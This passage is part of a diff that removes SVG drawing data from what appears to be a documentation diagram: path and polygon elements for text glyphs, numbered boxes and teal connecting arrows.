C83.9333737,31.124355 83.516707,29.8691467 83.516707,28.23373 Z M85.204207,28.23373 C85.204207,29.4733133 85.469832,30.405605 86.001082,31.030605 C86.5427487,31.6451883 87.2250403,31.95248 88.047957,31.95248 C88.860457,31.95248 89.5375403,31.6451883 90.079207,31.030605 C90.6208737,30.405605 90.891707,29.4576883 90.891707,28.186855 C90.891707,26.9889333 90.6208737,26.0826807 90.079207,25.4680974 C89.5375403,24.8535141 88.860457,24.5462224 88.047957,24.5462224 C87.2250403,24.5462224 86.5427487,24.8535141 86.001082,25.4680974 C85.469832,26.0722641 85.204207,26.9941416 85.204207,28.23373 Z M94.501799,33.07748 L94.501799,23.405597 L95.970549,23.405597 L95.970549,24.764972 C96.2726323,24.2858053 96.673674,23.905597 97.173674,23.624347 C97.6840907,23.3326803 98.2570073,23.186847 98.892424,23.186847 C99.611174,23.186847 100.199716,23.3378887 100.658049,23.639972 C101.116382,23.9316387 101.439299,24.343097 101.626799,24.874347 C102.397632,23.749347 103.392424,23.186847 104.611174,23.186847 C105.579924,23.186847 106.319507,23.452472 106.829924,23.983722 C107.350757,24.514972 107.611174,25.3326803 107.611174,26.436847 L107.611174,33.07748 L105.970549,33.07748 L105.970549,26.983722 C105.970549,26.327472 105.918466,25.858722 105.814299,25.577472 C105.710132,25.2858053 105.517424,25.0514303 105.236174,24.874347 C104.954924,24.6972637 104.626799,24.608722 104.251799,24.608722 C103.574716,24.608722 103.012216,24.8378887 102.564299,25.296222 C102.116382,25.7441387 101.892424,26.4628887 101.892424,27.452472 L101.892424,33.07748 L100.251799,33.07748 L100.251799,26.796222 C100.251799,26.0670553 100.116382,25.5201803 99.845549,25.155597 C99.5747157,24.7910137 99.1372157,24.608722 98.533049,24.608722 C98.0747157,24.608722 97.6476323,24.7285137 97.251799,24.968097 C96.8559657,25.2076803 96.5695073,25.561847 96.392424,26.030597 C96.2257573,26.499347 96.142424,27.1764329 96.142424,28.0618546 L96.142424,33.07748 L94.501799,33.07748 L94.501799,33.07748 Z M116.355101,31.88998 C115.740518,32.4003967 115.151976,32.76498 114.589476,32.98373 C114.037393,33.1920633 113.438434,33.29623 112.792601,33.29623 C111.730101,33.29623 110.912393,33.0358133 110.339476,32.51498 C109.766559,31.9941467 109.480101,31.3326883 109.480101,30.530605 C109.480101,30.0514383 109.589476,29.6191467 109.808226,29.23373 C110.026976,28.8378967 110.308226,28.5253967 110.651976,28.29623 C111.006143,28.0566416 111.401976,27.8743474 111.839476,27.7493474 C112.151976,27.6660141 112.636351,27.5826807 113.292601,27.4993474 C114.615518,27.3430974 115.589476,27.1555974 116.214476,26.9368474 C116.224893,26.7076807 116.230101,26.5670557 116.230101,26.5149724 C116.230101,25.8483057 116.073851,25.3743474 115.761351,25.0930974 C115.344684,24.7285141 114.719684,24.5462224 113.886351,24.5462224 C113.115518,24.5462224 112.547809,24.6816391 112.183226,24.9524724 C111.818643,25.2233057 111.547809,25.6972641 111.370726,26.3743474 L109.761351,26.1555974 C109.907184,25.4785141 110.146768,24.9316391 110.480101,24.5149724 C110.813434,24.0878891 111.297809,23.7597641 111.933226,23.5305974 C112.568643,23.3014307 113.297809,23.1868474 114.120726,23.1868474 C114.954059,23.1868474 115.625934,23.2858057 116.136351,23.4837224 C116.657184,23.6712224 117.037393,23.9160141 117.276976,24.2180974 C117.526976,24.5097641 117.698851,24.8795557 117.792601,25.3274724 C117.844684,25.6087224 117.870726,26.1139307 117.870726,26.8430974 L117.870726,29.030605 C117.870726,30.5514383 117.907184,31.51498 117.980101,31.92123 C118.053018,32.3170633 118.188434,32.70248 118.386351,33.07748 L116.683226,33.07748 C116.506143,32.73373 116.396768,32.3378967 116.355101,31.88998 Z M116.214476,28.218105 C115.620726,28.468105 114.730101,28.6764383 113.542601,28.843105 C112.865518,28.936855 112.386351,29.04623 112.105101,29.17123 C111.823851,29.29623 111.605101,29.4733133 111.448851,29.70248 C111.303018,29.9316467 111.230101,30.1920633 111.230101,30.48373 C111.230101,30.92123 111.396768,31.2858133 111.730101,31.57748 C112.063434,31.8691467 112.547809,32.01498 113.183226,32.01498 C113.808226,32.01498 114.365518,31.8795633 114.855101,31.60873 C115.355101,31.32748 115.719684,30.9472717 115.948851,30.468105 C116.125934,30.093105 116.214476,29.54623 116.214476,28.82748 L116.214476,28.218105 Z M120.418318,21.6087224 L120.418318,19.7180974 L122.058943,19.7180974 L122.058943,21.6087224 L120.418318,21.6087224 Z M120.418318,33.0774804 L120.418318,23.4055974 L122.058943,23.4055974 L122.058943,33.0774804 L120.418318,33.0774804 Z M124.563139,33.0774804 L124.563139,23.4055974 L126.031889,23.4055974 L126.031889,24.7805974 C126.740222,23.7180974 127.766264,23.1868474 129.110014,23.1868474 C129.693347,23.1868474 130.229806,23.2910141 130.719389,23.4993474 C131.208972,23.7076807 131.573556,23.9837224 131.813139,24.3274724 C132.063139,24.6608057 132.235014,25.0618474 132.328764,25.5305974 C132.391264,25.8326807 132.422514,26.3639307 132.422514,27.1243474 L132.422514,33.0774804 L130.781889,33.0774804 L130.781889,27.1868474 C130.781889,26.5201807 130.714181,26.0253891 130.578764,25.7024724 C130.453764,25.3691391 130.229806,25.1035141 129.906889,24.9055974 C129.583972,24.7076807 129.203764,24.6087224 128.766264,24.6087224 C128.068347,24.6087224 127.464181,24.8326807 126.953764,25.2805974 C126.453764,25.7180974 126.203764,26.5566391 126.203764,27.7962224 L126.203764,33.0774804 L124.563139,33.0774804 L124.563139,33.0774804 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="383 10.47244 466.653534 10.47244 466.653534 41.842511 383 41.842511"></polygon>
-                <path d="M395.8628,30.1868524 L397.4878,29.93686 C397.571133,30.5826933 397.821133,31.0826933 398.2378,31.43686 C398.654467,31.78061 399.2378,31.952485 399.9878,31.952485 C400.7378,31.952485 401.295092,31.8014433 401.659675,31.49936 C402.024258,31.1868524 402.20655,30.8222767 402.20655,30.40561 C402.20655,30.0410267 402.045092,29.74936 401.722175,29.53061 C401.503425,29.3847767 400.946133,29.202485 400.0503,28.983735 C398.841967,28.671235 398.003425,28.40561 397.534675,28.1868524 C397.076342,27.9681049 396.727383,27.666019 396.4878,27.2806024 C396.248217,26.8847691 396.128425,26.4472691 396.128425,25.9681024 C396.128425,25.5410191 396.227383,25.1451857 396.4253,24.7806024 C396.623217,24.4056024 396.89405,24.0983107 397.2378,23.8587274 C397.4878,23.6712274 397.83155,23.5149774 398.26905,23.3899774 C398.716967,23.2545607 399.190925,23.1868524 399.690925,23.1868524 C400.451342,23.1868524 401.118008,23.2962274 401.690925,23.5149774 C402.263842,23.7337274 402.685717,24.0306024 402.95655,24.4056024 C403.2378,24.7806024 403.430508,25.2806024 403.534675,25.9056024 L401.9253,26.1243524 C401.852383,25.6243524 401.638842,25.2337274 401.284675,24.9524774 C400.940925,24.6712274 400.451342,24.5306024 399.815925,24.5306024 C399.055508,24.5306024 398.513842,24.6556024 398.190925,24.9056024 C397.878425,25.1556024 397.722175,25.4472691 397.722175,25.7806024 C397.722175,25.9889357 397.784675,26.1816441 397.909675,26.3587274 C398.045092,26.5358107 398.258633,26.6816441 398.5503,26.7962274 C398.70655,26.8587274 399.185717,26.9993524 399.9878,27.2181024 C401.154467,27.5201857 401.966967,27.7701857 402.4253,27.9681024 C402.883633,28.1660242 403.243008,28.452485 403.503425,28.827485 C403.763842,29.202485 403.89405,29.671235 403.89405,30.233735 C403.89405,30.7858183 403.732592,31.3014433 403.409675,31.78061 C403.097175,32.2597767 402.638842,32.6347767 402.034675,32.90561 C401.430508,33.1660267 400.748217,33.296235 399.9878,33.296235 C398.7378,33.296235 397.779467,33.0358183 397.1128,32.514985 C396.45655,31.9941517 396.039883,31.21811 395.8628,30.1868524 Z M405.76905,36.796235 L405.58155,35.264985 C405.946133,35.358735 406.258633,35.405602 406.51905,35.405602 C406.883633,35.405602 407.1753,35.34311 407.39405,35.21811 C407.6128,35.1035267 407.795092,34.93686 407.940925,34.71811 C408.045092,34.5514433 408.211758,34.1451933 408.440925,33.49936 C408.472175,33.405602 408.51905,33.2701933 408.58155,33.09311 L404.909675,23.405602 L406.6753,23.405602 L408.690925,28.9993596 C408.951342,29.7181096 409.185717,30.4681096 409.39405,31.2493596 C409.58155,30.4993596 409.805508,29.7649846 410.065925,29.0462346 L412.14405,23.405602 L413.784675,23.405602 L410.097175,33.233735 C409.701342,34.3066517 409.39405,35.0410267 409.1753,35.43686 C408.883633,35.9785267 408.5503,36.37436 408.1753,36.62436 C407.8003,36.87436 407.352383,36.99936 406.83155,36.99936 C406.508633,36.99936 406.154467,36.9316517 405.76905,36.796235 Z M414.51905,30.1868524 L416.14405,29.93686 C416.227383,30.5826933 416.477383,31.0826933 416.89405,31.43686 C417.310717,31.78061 417.89405,31.952485 418.64405,31.952485 C419.39405,31.952485 419.951342,31.8014433 420.315925,31.49936 C420.680508,31.1868524 420.8628,30.8222767 420.8628,30.40561 C420.8628,30.0410267 420.701342,29.74936 420.378425,29.53061 C420.159675,29.3847767 419.602383,29.202485 418.70655,28.983735 C417.498217,28.671235 416.659675,28.40561 416.190925,28.1868524 C415.732592,27.9681049 415.383633,27.666019 415.14405,27.2806024 C414.904467,26.8847691 414.784675,26.4472691 414.784675,25.9681024 C414.784675,25.5410191 414.883633,25.1451857 415.08155,24.7806024 C415.279467,24.4056024 415.5503,24.0983107 415.89405,23.8587274 C416.14405,23.6712274 416.4878,23.5149774 416.9253,23.3899774 C417.373217,23.2545607 417.847175,23.1868524 418.347175,23.1868524 C419.107592,23.1868524 419.774258,23.2962274 420.347175,23.5149774 C420.920092,23.7337274 421.341967,24.0306024 421.6128,24.4056024 C421.89405,24.7806024 422.086758,25.2806024 422.190925,25.9056024 L420.58155,26.1243524 C420.508633,25.6243524 420.295092,25.2337274 419.940925,24.9524774 C419.597175,24.6712274 419.107592,24.5306024 418.472175,24.5306024 C417.711758,24.5306024 417.170092,24.6556024 416.847175,24.9056024 C416.534675,25.1556024 416.378425,25.4472691 416.378425,25.7806024 C416.378425,25.9889357 416.440925,26.1816441 416.565925,26.3587274 C416.701342,26.5358107 416.914883,26.6816441 417.20655,26.7962274 C417.3628,26.8587274 417.841967,26.9993524 418.64405,27.2181024 C419.810717,27.5201857 420.623217,27.7701857 421.08155,27.9681024 C421.539883,28.1660242 421.899258,28.452485 422.159675,28.827485 C422.420092,29.202485 422.5503,29.671235 422.5503,30.233735 C422.5503,30.7858183 422.388842,31.3014433 422.065925,31.78061 C421.753425,32.2597767 421.295092,32.6347767 420.690925,32.90561 C420.086758,33.1660267 419.404467,33.296235 418.64405,33.296235 C417.39405,33.296235 416.435717,33.0358183 415.76905,32.514985 C415.1128,31.9941517 414.696133,31.21811 414.51905,30.1868524 Z M428.08155,31.608735 L428.315925,33.06186 C427.857592,33.15561 427.446133,33.202485 427.08155,33.202485 C426.4878,33.202485 426.024258,33.108735 425.690925,32.921235 C425.368008,32.733735 425.138842,32.4889433 425.003425,32.18686 C424.868008,31.87436 424.8003,31.2285267 424.8003,30.24936 L424.8003,24.6712274 L423.597175,24.6712274 L423.597175,23.4056024 L424.8003,23.4056024 L424.8003,21.0149774 L426.4253,20.0306024 L426.4253,23.4056024 L428.08155,23.4056024 L428.08155,24.6712274 L426.4253,24.6712274 L426.4253,30.34311 C426.4253,30.8014433 426.451342,31.0983183 426.503425,31.233735 C426.565925,31.3691517 426.659675,31.4785267 426.784675,31.56186 C426.920092,31.6347767 427.1128,31.671235 427.3628,31.671235 C427.539883,31.671235 427.779467,31.6504017 428.08155,31.608735 Z M436.311744,29.96811 L437.999244,30.171235 C437.728411,31.1608183 437.233619,31.9316517 436.514869,32.483735 C435.796119,33.0254017 434.874244,33.296235 433.749244,33.296235 C432.332577,33.296235 431.207577,32.8639433 430.374244,31.99936 C429.551327,31.12436 429.139869,29.9004017 429.139869,28.327485 C429.139869,26.6920633 429.556536,25.4264357 430.389869,24.5306024 C431.233619,23.6347691 432.322161,23.1868524 433.655494,23.1868524 C434.947161,23.1868524 435.999244,23.6295607 436.811744,24.5149774 C437.634661,25.3899774 438.046119,26.6243549 438.046119,28.21811 C438.046119,28.3222767 438.046119,28.46811 438.046119,28.65561 L430.827369,28.65561 C430.889869,29.71811 431.191952,30.5358183 431.733619,31.108735 C432.275286,31.671235 432.947161,31.952485 433.749244,31.952485 C434.353411,31.952485 434.869036,31.796235 435.296119,31.483735 C435.723202,31.1608183 436.061744,30.65561 436.311744,29.96811 Z M430.921119,27.3118524 L436.327369,27.3118524 C436.254452,26.4993524 436.046119,25.8899774 435.702369,25.4837274 C435.181536,24.8483107 434.504452,24.5306024 433.671119,24.5306024 C432.921119,24.5306024 432.285702,24.7858107 431.764869,25.2962274 C431.254452,25.7962274 430.973202,26.4681024 430.921119,27.3118524 Z M440.062446,33.077485 L440.062446,23.405602 L441.531196,23.405602 L441.531196,24.764977 C441.833279,24.2858103 442.234321,23.905602 442.734321,23.624352 C443.244738,23.3326853 443.817654,23.186852 444.453071,23.186852 C445.171821,23.186852 445.760363,23.3378937 446.218696,23.639977 C446.677029,23.9316437 446.999946,24.343102 447.187446,24.874352 C447.958279,23.749352 448.953071,23.186852 450.171821,23.186852 C451.140571,23.186852 451.880154,23.452477 452.390571,23.983727 C452.911404,24.514977 453.171821,25.3326853 453.171821,26.436852 L453.171821,33.077485 L451.531196,33.077485 L451.531196,26.983727 C451.531196,26.327477 451.479113,25.858727 451.374946,25.577477 C451.270779,25.2858103 451.078071,25.0514353 450.796821,24.874352 C450.515571,24.6972687 450.187446,24.608727 449.812446,24.608727 C449.135363,24.608727 448.572863,24.8378937 448.124946,25.296227 C447.677029,25.7441437 447.453071,26.4628937 447.453071,27.452477 L447.453071,33.077485 L445.812446,33.077485 L445.812446,26.796227 C445.812446,26.0670603 445.677029,25.5201853 445.406196,25.155602 C445.135363,24.7910187 444.697863,24.608727 444.093696,24.608727 C443.635363,24.608727 443.208279,24.7285187 442.812446,24.968102 C442.416613,25.2076853 442.130154,25.561852 441.953071,26.030602 C441.786404,26.499352 441.703071,27.1764379 441.703071,28.0618596 L441.703071,33.077485 L440.062446,33.077485 L440.062446,33.077485 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M632.244,33.3041 L632.244,30.100975 L626.447125,30.100975 L626.447125,28.600975 L632.540875,19.944717 L633.884625,19.944717 L633.884625,28.600975 L635.6815,28.600975 L635.6815,30.100975 L633.884625,30.100975 L633.884625,33.3041 L632.244,33.3041 Z M632.244,28.600975 L632.244,22.5853424 L628.0565,28.600975 L632.244,28.600975 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="527.0889 16.85302 546.521944 16.85302 546.521944 38.679795 527.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="599.0889 16.85302 618.521944 16.85302 618.521944 38.679795 599.0889 38.679795"></polygon>
-                <line x1="618.522" y1="27.7664" x2="533.1362" y2="28.7427794" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="600.5232" y1="27.97221" x2="533.136176" y2="28.7427789" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="600.57983 32.9271 614.136532 27.8165577 600.466488 23.0173557"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.8793 12.06562 588.603726 12.06562 588.603726 43.435699 543.8793 43.435699"></polygon>
-                <path d="M560.7394,23.201904 L560.7394,21.311279 L562.380025,21.311279 L562.380025,23.201904 L560.7394,23.201904 Z M560.7394,34.670654 L560.7394,24.998779 L562.380025,24.998779 L562.380025,34.670654 L560.7394,34.670654 Z M564.227986,31.780029 L565.852986,31.530029 C565.93632,32.1758623 566.18632,32.6758623 566.602986,33.030029 C567.019653,33.373779 567.602986,33.545654 568.352986,33.545654 C569.102986,33.545654 569.660278,33.3946123 570.024861,33.092529 C570.389445,32.780029 570.571736,32.4154457 570.571736,31.998779 C570.571736,31.6341957 570.410278,31.342529 570.087361,31.123779 C569.868611,30.9779457 569.31132,30.795654 568.415486,30.576904 C567.207153,30.264404 566.368611,29.998779 565.899861,29.780029 C565.441528,29.561279 565.09257,29.2591957 564.852986,28.873779 C564.613403,28.4779457 564.493611,28.0404457 564.493611,27.561279 C564.493611,27.1341957 564.59257,26.7383623 564.790486,26.373779 C564.988403,25.998779 565.259236,25.6914873 565.602986,25.451904 C565.852986,25.264404 566.196736,25.108154 566.634236,24.983154 C567.082153,24.8477373 567.556111,24.780029 568.056111,24.780029 C568.816528,24.780029 569.483195,24.889404 570.056111,25.108154 C570.629028,25.326904 571.050903,25.623779 571.321736,25.998779 C571.602986,26.373779 571.795695,26.873779 571.899861,27.498779 L570.290486,27.717529 C570.21757,27.217529 570.004028,26.826904 569.649861,26.545654 C569.306111,26.264404 568.816528,26.123779 568.181111,26.123779 C567.420695,26.123779 566.879028,26.248779 566.556111,26.498779 C566.243611,26.748779 566.087361,27.0404457 566.087361,27.373779 C566.087361,27.5821123 566.149861,27.7748207 566.274861,27.951904 C566.410278,28.1289873 566.62382,28.2748207 566.915486,28.389404 C567.071736,28.451904 567.550903,28.592529 568.352986,28.811279 C569.519653,29.1133623 570.332153,29.3633623 570.790486,29.561279 C571.24882,29.7591957 571.608195,30.045654 571.868611,30.420654 C572.129028,30.795654 572.259236,31.264404 572.259236,31.826904 C572.259236,32.3789873 572.097778,32.8946123 571.774861,33.373779 C571.462361,33.8529457 571.004028,34.2279457 570.399861,34.498779 C569.795695,34.7591957 569.113403,34.889404 568.352986,34.889404 C567.102986,34.889404 566.144653,34.6289873 565.477986,34.108154 C564.821736,33.5873207 564.40507,32.811279 564.227986,31.780029 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M778.994,29.8041 L780.71275,29.663475 C780.83775,30.4968083 781.129417,31.1270167 781.58775,31.5541 C782.0565,31.9707667 782.619,32.1791 783.27525,32.1791 C784.066917,32.1791 784.733583,31.882225 785.27525,31.288475 C785.827333,30.694725 786.103375,29.9082667 786.103375,28.9291 C786.103375,27.9915949 785.83775,27.2520091 785.3065,26.7103424 C784.785667,26.1686757 784.098167,25.8978424 783.244,25.8978424 C782.723167,25.8978424 782.249208,26.0176341 781.822125,26.2572174 C781.395042,26.4968007 781.061708,26.8093007 780.822125,27.1947174 L779.27525,26.9915924 L780.572125,20.1322174 L787.21275,20.1322174 L787.21275,21.6947174 L781.884625,21.6947174 L781.165875,25.2884674 C781.967958,24.7259674 782.8065,24.4447174 783.6815,24.4447174 C784.848167,24.4447174 785.832542,24.8509674 786.634625,25.6634674 C787.436708,26.4655507 787.83775,27.5020116 787.83775,28.77285 C787.83775,29.9811833 787.488792,31.0280583 786.790875,31.913475 C785.926292,32.9968083 784.754417,33.538475 783.27525,33.538475 C782.066917,33.538475 781.077333,33.1999333 780.3065,32.52285 C779.535667,31.83535 779.098167,30.9291 778.994,29.8041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="647.0889 16.85302 666.521944 16.85302 666.521944 38.679795 647.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="751.0889 16.85302 770.521944 16.85302 770.521944 38.679795 751.0889 38.679795"></polygon>
-                <line x1="770.522" y1="27.7664" x2="657.38815" y2="29.5616728" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="752.5243" y1="28.052" x2="657.38813" y2="29.5616741" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="752.60284 33.00658 766.136837 27.8359944 752.445614 23.0974309"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="669.7087 10.47244 740.606344 10.47244 740.606344 41.842511 669.7087 41.842511"></polygon>
-                <path d="M681.3761,33.07748 L681.3761,24.671222 L679.922975,24.671222 L679.922975,23.405597 L681.3761,23.405597 L681.3761,22.374347 C681.3761,21.7285137 681.433392,21.2441387 681.547975,20.921222 C681.704225,20.4941387 681.980267,20.1503887 682.3761,19.889972 C682.771933,19.6295553 683.329225,19.499347 684.047975,19.499347 C684.506308,19.499347 685.016725,19.5514303 685.579225,19.655597 L685.329225,21.093097 C684.995892,21.030597 684.678183,20.999347 684.3761,20.999347 C683.8761,20.999347 683.521933,21.108722 683.3136,21.327472 C683.105267,21.5358053 683.0011,21.9316387 683.0011,22.514972 L683.0011,23.405597 L684.891725,23.405597 L684.891725,24.671222 L683.0011,24.671222 L683.0011,33.07748 L681.3761,33.07748 Z M686.153139,33.07748 L686.153139,23.405597 L687.621889,23.405597 L687.621889,24.874347 C687.996889,24.186847 688.340639,23.733722 688.653139,23.514972 C688.976055,23.296222 689.330222,23.186847 689.715639,23.186847 C690.267722,23.186847 690.830222,23.3639303 691.403139,23.718097 L690.840639,25.233722 C690.434389,24.9941387 690.033347,24.874347 689.637514,24.874347 C689.27293,24.874347 688.950014,24.983722 688.668764,25.202472 C688.387514,25.421222 688.184389,25.718097 688.059389,26.093097 C687.871889,26.6764303 687.778139,27.3170579 687.778139,28.0149796 L687.778139,33.07748 L686.153139,33.07748 L686.153139,33.07748 Z M698.693971,31.88998 C698.079388,32.4003967 697.490846,32.76498 696.928346,32.98373 C696.376263,33.1920633 695.777304,33.29623 695.131471,33.29623 C694.068971,33.29623 693.251263,33.0358133 692.678346,32.51498 C692.105429,31.9941467 691.818971,31.3326883 691.818971,30.530605 C691.818971,30.0514383 691.928346,29.6191467 692.147096,29.23373 C692.365846,28.8378967 692.647096,28.5253967 692.990846,28.29623 C693.345013,28.0566416 693.740846,27.8743474 694.178346,27.7493474 C694.490846,27.6660141 694.975221,27.5826807 695.631471,27.4993474 C696.954388,27.3430974 697.928346,27.1555974 698.553346,26.9368474 C698.563763,26.7076807 698.568971,26.5670557 698.568971,26.5149724 C698.568971,25.8483057 698.412721,25.3743474 698.100221,25.0930974 C697.683554,24.7285141 697.058554,24.5462224 696.225221,24.5462224 C695.454388,24.5462224 694.886679,24.6816391 694.522096,24.9524724 C694.157513,25.2233057 693.886679,25.6972641 693.709596,26.3743474 L692.100221,26.1555974 C692.246054,25.4785141 692.485638,24.9316391 692.818971,24.5149724 C693.152304,24.0878891 693.636679,23.7597641 694.272096,23.5305974 C694.907513,23.3014307 695.636679,23.1868474 696.459596,23.1868474 C697.292929,23.1868474 697.964804,23.2858057 698.475221,23.4837224 C698.996054,23.6712224 699.376263,23.9160141 699.615846,24.2180974 C699.865846,24.5097641 700.037721,24.8795557 700.131471,25.3274724 C700.183554,25.6087224 700.209596,26.1139307 700.209596,26.8430974 L700.209596,29.030605 C700.209596,30.5514383 700.246054,31.51498 700.318971,31.92123 C700.391888,32.3170633 700.527304,32.70248 700.725221,33.07748 L699.022096,33.07748 C698.845013,32.73373 698.735638,32.3378967 698.693971,31.88998 Z M698.553346,28.218105 C697.959596,28.468105 697.068971,28.6764383 695.881471,28.843105 C695.204388,28.936855 694.725221,29.04623 694.443971,29.17123 C694.162721,29.29623 693.943971,29.4733133 693.787721,29.70248 C693.641888,29.9316467 693.568971,30.1920633 693.568971,30.48373 C693.568971,30.92123 693.735638,31.2858133 694.068971,31.57748 C694.402304,31.8691467 694.886679,32.01498 695.522096,32.01498 C696.147096,32.01498 696.704388,31.8795633 697.193971,31.60873 C697.693971,31.32748 698.058554,30.9472717 698.287721,30.468105 C698.464804,30.093105 698.553346,29.54623 698.553346,28.82748 L698.553346,28.218105 Z M702.444642,33.874355 L704.038392,34.10873 C704.111309,34.60873 704.298809,34.968105 704.600892,35.1868474 C705.007142,35.4889383 705.564434,35.63998 706.272767,35.63998 C707.033184,35.63998 707.616517,35.4889383 708.022767,35.1868474 C708.439434,34.8847717 708.720684,34.4628967 708.866517,33.92123 C708.949851,33.5878967 708.986309,32.8847717 708.975892,31.811855 C708.267559,32.655605 707.376934,33.07748 706.304017,33.07748 C704.970684,33.07748 703.939434,32.5983133 703.210267,31.63998 C702.481101,30.6816467 702.116517,29.530605 702.116517,28.1868474 C702.116517,27.2597666 702.283184,26.4055974 702.616517,25.6243474 C702.960267,24.8430974 703.444642,24.2441391 704.069642,23.8274724 C704.705059,23.4003891 705.455059,23.1868474 706.319642,23.1868474 C707.455059,23.1868474 708.392559,23.6451807 709.132142,24.5618474 L709.132142,23.4055974 L710.647767,23.4055974 L710.647767,31.7649804 C710.647767,33.2753971 710.491517,34.3431054 710.179017,34.9681054 C709.876934,35.5931054 709.392559,36.0878971 708.725892,36.4524804 C708.069642,36.8170637 707.251934,36.9993554 706.272767,36.9993554 C705.126934,36.9993554 704.194642,36.7389387 703.475892,36.2181054 C702.767559,35.7076887 702.423809,34.9264387 702.444642,33.8743554 L702.444642,33.874355 Z M703.804017,28.061855 C703.804017,29.3326883 704.054017,30.2597717 704.554017,30.843105 C705.064434,31.4264383 705.699851,31.718105 706.460267,31.718105 C707.210267,31.718105 707.840476,31.4316467 708.350892,30.85873 C708.861309,30.2753967 709.116517,29.3639383 709.116517,28.124355 C709.116517,26.9368499 708.850892,26.0462224 708.319642,25.4524724 C707.798809,24.8483057 707.168601,24.5462224 706.429017,24.5462224 C705.699851,24.5462224 705.080059,24.8430974 704.569642,25.4368474 C704.059226,26.0201807 703.804017,26.8951833 703.804017,28.061855 Z M713.132874,21.6087224 L713.132874,19.7180974 L714.773499,19.7180974 L714.773499,21.6087224 L713.132874,21.6087224 Z M713.132874,33.0774804 L713.132874,23.4055974 L714.773499,23.4055974 L714.773499,33.0774804 L713.132874,33.0774804 Z M717.230836,33.0774804 L717.230836,19.7180974 L718.871461,19.7180974 L718.871461,33.0774804 L717.230836,33.0774804 Z M728.047547,29.9681054 L729.735047,30.1712304 C729.464214,31.1608137 728.969422,31.9316471 728.250672,32.4837304 C727.531922,33.0253971 726.610047,33.2962304 725.485047,33.2962304 C724.06838,33.2962304 722.94338,32.8639387 722.110047,31.9993554 C721.28713,31.1243554 720.875672,29.9003971 720.875672,28.3274804 C720.875672,26.6920587 721.292339,25.4264311 722.125672,24.5305978 C722.969422,23.6347645 724.057964,23.1868478 725.391297,23.1868478 C726.682964,23.1868478 727.735047,23.6295561 728.547547,24.5149728 C729.370464,25.3899728 729.781922,26.6243503 729.781922,28.2181054 C729.781922,28.3222721 729.781922,28.4681054 729.781922,28.6556054 L722.563172,28.6556054 C722.625672,29.7181054 722.927755,30.5358137 723.469422,31.1087304 C724.011089,31.6712304 724.682964,31.9524804 725.485047,31.9524804 C726.089214,31.9524804 726.604839,31.7962304 727.031922,31.4837304 C727.459005,31.1608137 727.797547,30.6556054 728.047547,29.9681054 Z M722.656922,27.3118478 L728.063172,27.3118478 C727.990255,26.4993478 727.781922,25.8899728 727.438172,25.4837228 C726.917339,24.8483061 726.240255,24.5305978 725.406922,24.5305978 C724.656922,24.5305978 724.021505,24.7858061 723.500672,25.2962228 C722.990255,25.7962228 722.709005,26.4680978 722.656922,27.3118478 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <line x1="330.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="312.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="312.52197 32.7216 326.136258 27.7664 312.52197 22.8112074"></polygon>
